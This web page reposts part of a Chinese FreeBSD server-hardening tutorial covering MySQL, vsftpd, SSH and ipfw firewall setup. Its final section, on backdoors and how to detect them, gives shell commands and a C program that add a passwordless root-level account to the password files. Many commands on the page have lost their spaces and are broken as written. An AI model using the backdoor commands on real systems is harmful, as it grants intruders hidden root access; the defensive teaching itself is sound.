• 风格:
网站首页
新闻资讯
文章中心
影视录音
歌曲音乐
精美图片
资源下载
在线商城
网页特效
用户信息
综合导航
  • 流行第一线
  • 流行第一线
  • 站内新闻
  • 临沂新闻
  • 新浪新闻
  • 站内风彩
  • 美女帅哥
  • 桌面图片
  • 节目录音
  • 影片采集
  • 精彩推荐
  • 国语歌曲
  • 网络歌曲
  • 情感故事
  • 忘忧秀豆
  • 娱乐幽默
  • 技术文章
  • 流行第一线
  • 流行第一线
  • 留言本站
  • 博客日志
  • 会员娱乐
  • 动漫频道
  • 酷站推荐
  • 友情连接
  • 程序讨论
您的位置:首页 >> 文章频道 >> FreeBSD下构建安全的Web服务器(3)---流行第一线
文章阅读

FreeBSD下构建安全的Web服务器(3)---流行第一线

作者:佚名 | 来源:流行第一线 | 时间:2008-04-21 | 阅读权限:游客身份 | 会员币:0
(6)控制数据库访问权限
对于使用php脚本来进行交互,最好建立一个用户只针对某个库有update、select、delete、insert、droptable、createtable等权限,这样就很好避免了数据库用户名和密码被黑客查看后最小损失。
比如下面我们创建一个数据库为db1,同时建立一个用户test1能够访问该数据库。
mysql>createdatabasedb1;
mysql>grantselect,insert,update,delete,create,dropprivilegesondb1.*totest1@localhostidentifiedby’admindb’;
以上SQL是创建一个数据库db1,同时增加了一个test1用户,口令是admindb,但是它只能从本地连接mysql,对db1库有select,insert,update,delete,create,drop操作权限。
(7)限制一般用户浏览其他用户数据库
如果有多个数据库,每个数据库有一个用户,那么必须限制用户浏览其他数据库内容,可以在启动MySQL服务器时加--skip-show-database启动参数就能够达到目的。
(8)忘记mysql密码的解决办法
如果不慎忘记了MySQL的root密码,我们可以在启动MySQL服务器时加上参数--skip-grant-tables来跳过授权表的验证(./safe_mysqld--skip-grant-tables&),这样我们就可以直接登陆MySQL服务器,然后再修改root用户的口令,重启MySQL就可以用新口令登陆了。
(9)数据库文件的安全
我们默认的mysql是安装在/usr/local/mysql目录下的,那么对应的数据库文件就是在/usr/local/mysql/var目录下,那么我们要保证该目录不能让未经授权的用户访问后把数据库打包拷贝走了,所以要限制对该目录的访问。
我们修改该目录的所属用户和组是mysql,同时改变访问权限:
#chown-Rmysql.mysql/usr/local/mysql/var
#chmod-Rgo-rwx/usr/local/mysql/var
(10)删除历史记录
执行以上的命令会被shell记录在历史文件里,比如bash会写入用户目录的.bash_history文件,如果这些文件不慎被读,那么数据库的密码就会泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库密码,也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码,而是在提示后再输入数据库密码。
另外这两个文件我们也应该不让它记录我们的操作,以防万一。
#rm.bash_history.mysql_history
#ln-s/dev/null.bash_history
#ln-s/dev/null.mysql_history
(11)其他
另外还可以考虑使用chroot等方式来控制mysql的运行目录,更好的控制权限,具体可以参考相关文章。

4.vsFTPd安全设置
vsFTPd是一款非常著名的ftpdaemon程序,目前包括Redhat.com在内很多大公司都在使用,它是一款非常安全的程序,因为它的名字就叫:VerySecureFTPDaemon(非常安全的FTP服务器)。
vsftpd设置选项比较多,涉及方方面面,我们下面主要是针对安全方面进行设置。
目前我们的需求就是使用系统帐户同时也作为是我们的FTP帐户来进行我们文件的管理,目前假设我只需要一个帐户来更新我的网站,并且我不希望该帐户能够登陆我们的系统,比如我们的网站的目录是在/usr/www下面,那么我们新建一个用户ftp,它的主目录是/usr/www,并且它的shell是/usr/sbin/nologin,就是没有shell,防止该用户通过ssh等登陆到系统。
下面在进行系统详尽的设置,主要就是针对vsftpd的配置文件vsftpd.conf文件的配置。
(1)禁止匿名用户访问,我们不需要什么匿名用户,直接禁止掉:
anonymous_enable=NO
(2)允许本地用户登陆,因为我们需要使用ftp用户来对我们网站进行管理:
local_enable=YES
(3)只允许系统中的ftp用户或者某些指定的用户访问ftp,因为系统中帐户众多,不可能让谁都访问。
打开用户文件列表功能:
userlist_enable=YES
只允许用户文件列表中的用户访问ftp:
userlist_deny=NO
用户名文件列表路径:
userlist_file=/etc/vsftpd.user_list
然后在/etc下建立文件vsftpd.user_list文件,一行一个,把用户ftp加进去,同时也可以加上你允许访问的系统帐户名。
(4)禁止某些用户登陆ftp:
pam_service_name=vsftpd
指出VSFTPD进行PAM认证时所使用的PAM配置文件名,默认值是vsftpd,默认PAM配置文件是/etc/pam.d/vsftpd。
/etc/vsftpd.ftpusers
VSFTPD禁止列在此文件中的用户登录FTP服务器,用户名是一行一个。这个机制是在/etc/pam.d/vsftpd中默认设置的。
这个功能和(3)里的功能有点类似,他们俩能结合使用,那样就最好了。
(5)把本地用户锁定在自己的主目录,防止转到其他目录,比如把/etc/passwd给下载了:
chroot_local_users=NO
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd.chroot_list
然后在/etc下建立vsftpd.chroot_list文件,里面把我们要限制的本地帐户加进去,一行一个,我们加上ftp,防止它登陆到系统。
(6)隐藏文件真实的所有用户和组信息,防止黑客拿下ftp后查看更多系统用户信息:
hide_ids=YES
(7)取消ls-R命令,节省资源,因为使用该命令,在文件列表很多的时候将浪费大量系统资源:
ls_recurse_enable=NO
(8)上传文件的默认权限,设置为022:
local_umask=022
如果要覆盖删除等,还要打开:
write_enable=YES
(9)ftp的banner信息,为了防止黑客获取更多服务器的信息,设置该项:
ftpd_banner=bannerstring
把后面的bannerstring设为你需要的banner提示信息,为了安全,建议不要暴露关于vsFTPd的任何信息。
另外,如果你的信息比较多的话,可以设置为提示信息是读取一个文件中的信息:
banner_file=/directory/vsftpd_banner_file
(10)打开日志功能:
xferlog_enable=YES
同时设置日志的目录:
xferlog_file=/var/log/vsftpd.log
启用详细的日志记录格式:
xferlog_enable=YES
(11)如果打开虚用户功能等,那么建议关闭本地用户登陆:
local_enable=NO

vsFTPd还有很多安全设置,毕竟人家的名字就是:VerySecureFTPDaemon,反正它的溢出漏洞什么的是很少的,如果要更安全,建议按照自己的需要设置vsftpd,设置的好,它绝对是最安全的。

5.SSH安全设置
SSH是一个基于SSL的安全连接远程管理的服务程序,主要出现就是为了解决telnet、rlogin、rsh等程序在程序交互过程中存在明文传输易被监听的问题而产生的,目前基本上是推荐使用ssh来代替telnet、rlogin、rsh等远程管理服务。
ssh能够直接在windows平台下通过SecureSSHClient等客户端工具进行连接管理,目前最流行的服务器端就是OpenSSH程序,目前最新版本是OpenSSH4.0版,详细可以参考www.openssh.com网站。
OpenSSH在FreeBSD下已经集成安装了,FreeBSD5.3下的OpenSSH版本是3.8.1,建议ports升级到4.0。

主要的安全配置文件是/etc/ssh/sshd_config文件,我们编辑该文件。
(1)使用protocol2代替protocol1,SSH2更加安全,可以防止攻击者通过修改携带的版本banner来劫持(hijacking)启动会话进程并降低到protocol1。注释掉protocol2,1改用下面语句代替:
protocol2
(2)合理设置最大连接数量,防止DOS攻击
  MaxStartups5:50:10
(3)关闭X11forwording,防止会话劫持
  X11Forwardingno
(4)建议不使用静态密码,而使用DSA或RSAKEY,修改如下内容可以关闭使用密码认证:
  PasswordAuthenticationno
(5)可以限制某个组或光是单个用户访问shell
  AllowGroupswheel
或者
  AllowUsersheiyeluren
(6)限制root用户登陆,主要是为了防止暴力破解
PermitRootLoginno
(7)不允许口令为空的用户登陆

PermitEmptyPasswordsno
(8)使用TCPwrappers来限制一些访问,修改/etc/hosts.allow文件,注释掉"ALL:ALL:allow",增加如下内容:
  sshd:localhost:allow
  sshd:friendlcomputer:allow
  sshd:all:deny
  #相关命令:
  #chsh-s/sbin/nologinuser

四、防火墙的安装和设置
FreeBSD自带有一个基于包过滤的防火墙--ipfw,虽然功能没有专业防火墙那么强大,但是应付一个Web站点的安全还是足够的,所以我们决定选用该防火墙来保护我们的Web服务器。

1.安装ipfw
IPFW的主要部分是在内核中运行的,因此会需要在FreeBSD内核配置文件中添加部分选项。(注意,如果你没有安装FreeBSD核心源代码,是无法进入以下目录的,所以运行之前一定要先安装内核源代码)我们先进入内核配置文件:
#cd/sys/i386/conf
#cpGENERIC./kernel_fw
打开内核配置文件:
#ee./kernel_fw
添加四个选项,不需要后面的注释信息:
optionsIPFIREWALL#将包过滤部分的代码编译进内核。
optionsIPFIREWALL_VERBOSE
#启用通过syslogd记录的日志。如果没有指定这个选项,即使您在过滤规则中指定记录包,也不会真的记录它们
optionsIPFIREWALL_VERBOSE_LIMIT=10
#限制通过syslogd(8)记录的每项包规则的记录条数。在恶劣的环境中如果您想记录防火墙的活动,而又不想由于syslog洪水一般的记录而导致拒绝服务攻击,那么这个选项将会很有用。
optionsIPFIREWALL_DEFAULT_TO_ACCEPT
#这将把默认的规则动作从``deny’’改为``allow’’。这可以防止在没有配置防火墙之前使用启用过IPFIREWALL支持的内核重启时把自己锁在外面。另外,如果您经常使用ipfw(8)来解决一些问题时它也非常有用。尽管如此,在使用时应该小心,因为这将使防火墙敞开,并改变它的行为。

编译内核:
#/usr/sbin/configkernel_fw
#cd../compile/kernel_fw(注意你的版本,如果是低于5.0的版本用../../compile/kernel_fw)
#makedepend
#make
#makeinstall
重启系统。注意,我们没有选择optionsIPFIREWALL_DEFAULT_TO_ACCEPT该选项,就是说默认系统启动后是打开防火墙的,并且防火墙默认是不允许任何连接的(denyfromanytoany),所以一定要在本地操作,否则你将被“锁在门外”,如果你选择了该选项则可以使用ssh等连接不受影响,不过这相对不安全。

2.配置ipfw
如果配置普通情况下的规则,使用命令配置的模式:
ipfw的配置命令:ipfw[-N]命令[编号]动作[log(日志)]协议地址[其它选项]
例如:
#ipfwaddallowtcpfromanyto10.10.10.180#允许外界访问我的web服务
#ipfwaddallowtcpfromanyto10.10.10.121#允许外面访问我的ftp服务
#ipfwaddallowtcpfromanyto10.10.10.122#允许外界访问我的ssh服务
如果使用规则包的形式,那么查看下面内容。
系统启动后,我们还要配置rc.conf文件来运行我们的防火墙:
#ee/etc/rc.conf
加入如下内容:
gateway_enable="YES"#启动网关
firewall_enable="YES"#激活firewall防火墙
firewall_script="/etc/rc.firewall"#firewall防火墙的默认脚本
firewall_type="/etc/ipfw.conf"#firewall自定义脚本
firewall_quiet="NO"#起用脚本时,是否显示规则信息。现在为“NO”假如你的防火墙脚本已经定型,那么就可以把这里设置成“YES”了。
firewall_logging_enable="YES"#启用firewall的log记录。
设置完成后我们再编辑/etc/syslog.conf文件:
#ee/etc/syslog.conf
加入以下行:
!ipfw
*.*/var/log/ipfw.log
现在到了最重要的编辑规则包了:
#ee/etc/ipfw.conf
我们添加一下规则:(注意10.10.10.1是我们服务器的IP)
#########TCP##########
add00001denylogipfromanytoanyipoptrr
add00002denylogipfromanytoanyipoptts
add00003denylogipfromanytoanyipoptssrr
add00004denylogipfromanytoanyipoptlsrr
add00005denytcpfromanytoanyintcpflagssyn,fin
#这5行是过滤各种扫描包
add10001allowtcpfromanyto10.10.10.180in#向整个Internet开放http服务。
add10002allowtcpfromanyto10.10.10.121in#向整个Internet开放ftp服务。
add10000allowtcpfrom1.2.3.4to10.10.10.122in
#向Internet的xx.xx.xx.xx这个IP开放SSH服务。也就是只信任这个IP的SSH登陆。
#如果你登陆服务器的IP不固定,那么就要设为:add10000allowtcpfromanyto10.10.10.122in
add19997check-state
add19998allowtcpfromanytoanyoutkeep-statesetup
add19999allowtcpfromanytoanyout#这三个组合起来是允许内部网络访问出去,如果想服务器自己不和Internet进行tcp连接出去,可以把19997和19998去掉。(不影响Internet对服务器的访问)
##########UDP##########
add20001allowudpfromany53to10.10.10.1#允许其他DNS服务器的信息进入该服务器,因为自己要进行DNS解析嘛~
add29999allowudpfromanytoanyout#允许自己的UDP包往外发送。
##########ICMP#########
add30000allowicmpfromanytoanyicmptypes3
add30001allowicmpfromanytoanyicmptypes4
add30002allowicmpfromanytoanyicmptypes8out
add30003allowicmpfromanytoanyicmptypes0in
add30004allowicmpfromanytoanyicmptypes11in
#允许自己ping别人的服务器。也允许内部网络用router命令进行路由跟踪。

五、Unix/Linux上的后门技术和防范
对黑客来讲,入侵一个系统只是万里长征的开始,最主要的是长期占有一个肉鸡(傀儡机),所以,后门技术往往非常重要。对于我们来讲,总是处于被动的地位,百密一疏,总有没有做到位的地方,谁都不能保证自己的系统是绝对安全的,所以不能避免我们可能会被入侵。黑客入侵后肯定会留后门,当然,除了那些高手,境界非常高,入侵只是为了测试或者技术挑战,对于一般黑客来讲,入侵之后留个后门是很重要的,我们要防范,当然就要了解常用的后门技术,下面就简单的讲将在Unix/Linux系统中比较常见的后门技术。
1.帐号后门
最普通和原始的后门技术,一般就是在系统中添加一个管理员帐户。
#echo"heiyeluren:*:0:0::/root:/bin/sh">>/etc/passwd
#echo"heiyeluren::0:0::0:0::/root:/bin/sh">>/etc/shadow
给系统增加一个uid和gid都为0(root)的帐号,无口令。
FreeBSD的密码是存储在/etc/master.passwd里面的,那么后面的命令就应该改成:
#echo"heiyeluren:::::::::">>/etc/master.passwd
也可以使用程序来实现:
/*Addsuperuser*/
#include"stdio.h"
#definePASSWD_PATH"/etc/passwd"
#defineSHADOW_PATH"/etc/master.passwd"
main()
{
FILE*fd;
fd=fopen(PASSWD_PATH,"a+");
fprintf(fd,"heiyeluren:*:0:0::/root:/bin/sh\n");
fclose(fd);
fd=fopen(SHADOW_PATH,"a+");
fprintf(fd,"heiyeluren::0:0::0:0::/root:/bin/sh\n");
fclose(fd);
}
#gcc-oadduseradduser.c
#./adduser
这种方法比较傻,一般比较容易发现,特别是系统帐户不多的时候。也有的用户名起的比较迷惑人,比如起个r00t的用户名,uid和gid都是0,这样如果不注意,可能就会被蒙混过关了。
*防范方法:
这种方法虽然比较容易发现,但是我们还是要防范,要多注意观察系统的帐户情况,本来我们系统帐户就不多,检查起来比较方便,另外也要注意那些比较少使用的帐户是不是被更改过,比如默认的帐户有bind,它的shell是/usr/sbin/nologin,就是不能登陆的,但是黑客入侵后把它改了,比如改为/bin/csh,那么对方就能登陆了,但是你确不知道。所以最好办法是把/etc/passwd另外备份一份,不定期的检查,同时把/etc/passwd和/etc/master.passwd设为只有root才能查看。
提交会员:admin采集 | 浏览次数:
【 复制 】 【 打印 】

>>相关资讯:

上篇文章:荷包蛋   下篇文章:FreeBSD下构建安全的Web服务器(4)---流行第一线
查看网友评论 网友评论
以下网友评论只代表其个人观点,不代表悠久网的观点或立场
用户登陆

加载中……
相关文章
  • 没有相关文章
关于我们 | 广告合作 | 免责申明 | 程序帮助 | 网站地图 | 留言本站 | 友情连接 | 后台管理
Copyright © 2008 - 2009 HxCms.Net www.am873.com Inc. All Rights Reserved.
HxCms Ver8.0  鲁ICP备07004488号